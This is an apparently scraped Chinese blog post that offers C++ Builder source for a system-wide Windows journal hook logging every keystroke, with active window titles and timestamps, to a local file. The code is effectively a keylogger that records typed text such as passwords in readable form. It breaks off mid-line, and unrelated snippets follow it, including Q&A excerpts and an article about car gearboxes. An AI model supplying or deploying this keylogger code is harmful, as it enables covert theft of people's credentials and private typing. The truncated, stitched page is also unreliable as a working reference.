记录键盘的动作和敲击按键时的时间

日志钩子代码如下,你慢慢品味吧: 

//-----------.cpp文件
//---------------------------------------------------------------------------
#include <vcl.h>
#include <stdio.h>
#pragma hdrstop
#include "KeyHookU.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TfrmLogHook *frmLogHook;
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);
//钩子变量
HHOOK g_hLogHook=NULL;
//记录上一次得到焦点的窗口句柄
HWND g_hLastFocus=NULL;
//键盘掩码变量
const int KeyPressMask=0x80000000;
//保存上一次按键值
//char g_PrvChar;
//---------------------------------------------------------------------------
__fastcall TfrmLogHook::TfrmLogHook(TComponent* Owner)
     : TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TfrmLogHook::btnInstallClick(TObject *Sender)
{
     if(g_hLogHook==NULL)
         //安装日志钩子
         g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);
}
//---------------------------------------------------------------------------
void __fastcall TfrmLogHook::btnUninstallClick(TObject *Sender)
{
     if(g_hLogHook!=NULL)
     {
         UnhookWindowsHookEx(g_hLogHook);
         g_hLogHook=NULL;
     }
}
//---------------------------------------------------------------------------
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)
{
     if(iCode<0)return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
     if(iCode==HC_ACTION)
     {
         EVENTMSG* pEvt=(EVENTMSG*)lParam;
         int i;
         HWND hFocus;//保存当前活动窗口句柄
         char szTitle[256];//当前窗口名称
         char szTime[128];//当前的日期和时间
         FILE* stream=fopen("h:\\usr\\logfile.txt","a+");
         if(pEvt->message==WM_KEYDOWN)
         {
             int vKey=LOBYTE(pEvt->paramL);//取得虚拟键值
             char ch;
             char str[10];
             hFocus=GetActiveWindow();
             if(g_hLastFocus!=hFocus)
             {
                 GetWindowText(hFocus,szTitle,256);
                 g_hLastFocus=hFocus;
                 strcpy(szTime,DateTimeToStr(Now()).c_str());
                 fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle);
                 fprintf(stream,"%c%c",32,32);
             }
             int iShift=GetKeyState(0x10);
             int iCapital=GetKeyState(0x14);
             int iNumLock=GetKeyState(0x90);
             bool bShift=(iShift&KeyPressMask)==KeyPressMask;
             bool bCapital=(iCapital&1)==1;
             bool bNumLock=(iNumLock&1)==1;
             /*
             if(vKey==9) //TAB
                 fprintf(stream,"%c",'\t');
             if(vKey==13) //回车键
                 fprintf(stream,"%c",'\n');
             */
             if(vKey>=48 && vKey<=57) //数字键0-9
             {
                 if(!bShift)
                     fprintf(stream,"%c",vKey);
                 else
                 {
                     switch(vKey)
                     {
                     case 49:
                         ch='!';
                         break;
                     case 50:
                         ch='@';
                         break;
                     case 51:
                         ch='#';
                         break;
                     case 52:
                         ch='$';
                         break;
                     case 53:
                         ch='%';
                         break;
                     case 54:
                         ch='^';
                         break;
                     case 55:
                         ch='&';
                         break;
                     case 56:
                         ch='*';
                         break;
                     case 57:
                         ch='(';
                         break;
                     case 48:
                         ch=')';
                         break;
                     }
                     fprintf(stream,"%c",ch);
                 }
             }
             if(vKey>=65 && vKey<=90) //A-Z a-z
             {
                 if(!bCapital)
                 {
                     if(bShift)
                         ch=vKey;
                     else
                         ch=vKey+32;
                 }
                 else if(bShift)
                     ch=vKey+32;
                 else
                     ch=vKey;
                 fprintf(stream,"%c",ch);
             }
             if(vKey>=96 && vKey<=105) //小键盘0-9
             {
                 if(bNumLock)
                     fprintf(stream,"%c",vKey-96+48);
             }
             if(vKey>=186 && vKey<=222) //其它键
             {
                 switch(vKey)
                 {
         case 186:
           if (!bShift) ch=';' ;
           else ch=':' ;
           break;
         case 187:
           if (!bShift) ch='=' ;
           else ch='+' ;
           break;
         case 188:
           if (!bShift) ch=',' ;
           else ch='<' ;
           break;
         case 189:
           if (!bShift) ch='-' ;
           else ch='_' ;
           break;
         case 190:
           if (!bShift) ch='.' ;
           else ch='>' ;
           break;
         case 191:
           if (!bShift) ch='/' ;
           else ch='?' ;
           break;
         case 192:
           if (!bShift) ch='`' ;
           else ch='~' ;
           break;
         case 219:
           if (!bShift) ch='[';
           else ch='{' ;
           break;
         case 220:
           if (!bShift) ch='\\' ;
           else ch='|' ;
           break;
         case 221:
           if (!bShift) ch=']';
           else ch='}' ;
           break;
         case 222:
           if (!bShift) ch='\'';
           else ch='\"' ;
           break;
         default:
           ch='n' ;
           break;
         }
         if (ch!='n' ) fprintf(stream,"%c",ch);
       } //
             if (vKey>=112 && vKey<=123) // 功能键 [F1]-[F12]
       {
                 switch(wParam)
                 {
                 case 112:
                     fprintf(stream,"%s","[F1]");
                     break;
                 case 113:
                     fprintf(stream,"%s","[F2]");
                     break;
                 case 114:
                     fprintf(stream,"%s","[F3]");
                     break;
                 case 115:
                     fprintf(stream,"%s","[F4]");
                     break;
                 case 116:
                     fprintf(stream,"%s","[F5]");
                     break;
                 case 117:
                     fprintf(stream,"%s","[F6]");
                     break;
                 case 118:
                     fprintf(stream,"%s","[F7]");
                     break;
                 case 119:
                     fprintf(stream,"%s","[F8]");
                     break;
                 case 120:
                     fprintf(stream,"%s","[F9]");
                     break;
                 case 121:
                     fprintf(stream,"%s","[F10]");
                     break;
                 case 122:
                     fprintf(stream,"%s","[F11]");
                     break;
                 case 123:
                     fprintf(stream,"%s","[F12]");
                     break;
                 }
             }
       if (vKey>=8 && vKey<=46) //方向键
       {
         switch (vKey)
         {
         case 8:
           strcpy(str,"[BK]");
           break;
         case 9:
           strcpy(str,"[TAB]");
           break;
         case 13:
           strcpy(str,"[EN]");
           break;
                 case 27:
                     strcpy(str,"[ESC]");
                     break;
         case 32:
           strcpy(str,"[SP]");
           break;
         case 33:
           strcpy(str,"[PU]");
           break;
         case 34:
           strcpy(str,"[PD]");
           break;
         case 35:
           strcpy(str,"[END]");
           break;
         case 36:
           strcpy(str,"[HOME]");
           break;
         case 37:
           strcpy(str,"[LF]");
           break;
         case 38:
           strcpy(str,"[UF]");
           break;
         case 39:
           strcpy(str,"[RF]");
           break;
         case 40:
           strcpy(str,"[DF]");
           break;
         case 45:
           strcpy(str,"[INS]");
           break;
         case 46:
           strcpy(str,"[DEL]");
           break;
           default:
           ch='n';
           break;
         }
         if (ch!='n' )
         {
           //if (g_PrvChar!=vKey)
           //{
             fprintf(stream,"%s",str);
           //  g_PrvChar=vKey;
           /

时间: 2024-12-23 10:33:44

记录键盘的动作和敲击按键时的时间的相关文章

我想用vb实现后台模拟鼠标键盘的动作,就像按键精灵一样

问题描述 我想用vb实现后台模拟鼠标键盘的动作,就像按键精灵一样 我在做一个表单辅助工具,希望自动将程序获得的数据自动填入表单中,希望大神给一些建议. 解决方案 sendkeys语句. 鼠标用mouse_event api函数

opensuse-Opensuse 系统,使用了几天发现键盘有几个字母按键不能用了,是怎么回事?

问题描述 Opensuse 系统,使用了几天发现键盘有几个字母按键不能用了,是怎么回事? 华硕笔电,用了两年,之前是Win7系统,后来索性就格了,装为opensuse 42.1; 使用外接键盘可以,但笔记本的键盘就有几个字母输不进去. 感觉不是系统的问题,也不是硬件的问题,问题按键为 t,y,z,l ,q 这几个 解决方案 看下是不是num lock锁定了.

当一条记录拥有不确定个数个tag时,怎么设计数据库结构,又怎么通过tag来进行检索?

问题描述 当一条记录拥有不确定个数个tag时,怎么设计数据库结构,又怎么通过tag来进行检索? 1.就以知乎为例吧,一个问题可能有多个tag来进行标注,这些tag是用怎么的结构在数据库中存储的呢? 很多人说再整理出一张tags的表,和一张tags和id对应的表,有谁能够详细说明一下这个东西怎么设计? 2,当进行检索的时候,怎么能够快速高效地通过tag/tags来进行检索呢? 解决方案 假设你的主表叫topic,主键id tags表作为关联表,结构为id topicid tag,外键topicid

当前帧抓取-如何才能获取获取WindowsMediaPlayer暂停时的时间点?

问题描述 如何才能获取获取WindowsMediaPlayer暂停时的时间点? 如何才能获取WindowsMediaPlayer暂停时的当前时间点?然后再将改时间点对应的帧抓取出来?后面附上代码 解决方案 http://blog.csdn.net/alen0707/article/details/3807880

centos-ntpd校时导致时间跳跃

问题描述 ntpd校时导致时间跳跃 按网上说法,开启ntpd服务进行校时不会导致时间跳跃, 但个人测试: 1.在centos6.5上开启ntpd服务 2.使用date命令修改当前时间快3分钟 3.等待一段时间后发现了时间跳跃 我的应用不允许时间跳跃(纳秒级),目前的解决方案只能是日常关闭ntpd服务并在定期维护时使用ntpdate校时,不知怎样设置才能在不发生时间跳跃的情况下校正时间.

js导出excel时 为什么时间都变成######号了?谢谢指点!

问题描述 js导出excel时 为什么时间都变成解决方案二: 解决方案三:号了?谢谢指点! 解决方案 将excel显示时间的单元格宽度设置的宽一些就可以了.

利用底层键盘钩子拦载任意按键(回调版)

前段时间我曾经写过一篇<利用底层键盘钩子屏蔽任意按键>,并放到了我的blog上.这 篇文章的题目中把"屏蔽"改成了"拦截",显然要比以前的版本强 一些了.对于以前写的那个DLL,有一个不够理想的地方,就是仅仅能实现屏蔽.如果想在屏 蔽之前加入一些"小动作",就只能修改DLL,在LowLevelKeyboardProc函数中添 加代码,实现新的功能.但这样显然不够灵活,这样的DLL也不具备一般性了.所以我自然而 然地想到了回调,Wind

Delphi建键盘鼠标动作纪录与回放

Windows提供API函数SetwindowsHookEx来建立一个Hook,通过这个函数可以将一个程序添加到Hook链中监视Windows 消息,函数语法为: SetWindowsHookEx(idHook: Integer; lpfn: TFNHookProc; hmod: HINST; dwThreadId: DWORD) 其中参数idHook指定建立的监视函数类型. 通过Windows MSDN帮助可以看到,SetwindowsHookEx函数提供15种不同 的消息监视类型,在这里我们

只因这个动作,等红灯时可能损失好几万!

导读 听说,自动挡汽车一个不注意,就有可能损失1万块,甚至几万块,这到底是怎么回事? 许多车主在等红灯的时候,都会习惯性的直接挂在D档上,然后踩着刹车.遇到红灯长一些时间的时候,会直接挂到P档.大部分车主觉得这样省油又省力,但实际上,也许就是因为你这个小小的动作,有可能会白白损失上万块哦. 直接挂D挡的等红灯时,如果时间稍微长一点的话,踩住的刹车会使得变速器油的温度上升,油液变质,损伤变速箱. 挂P挡并不等于刹车,千万别把它的工作原理等同于拉手刹.P挡在变速箱附近有一个驻车锁钩,当将挡位挂到P挡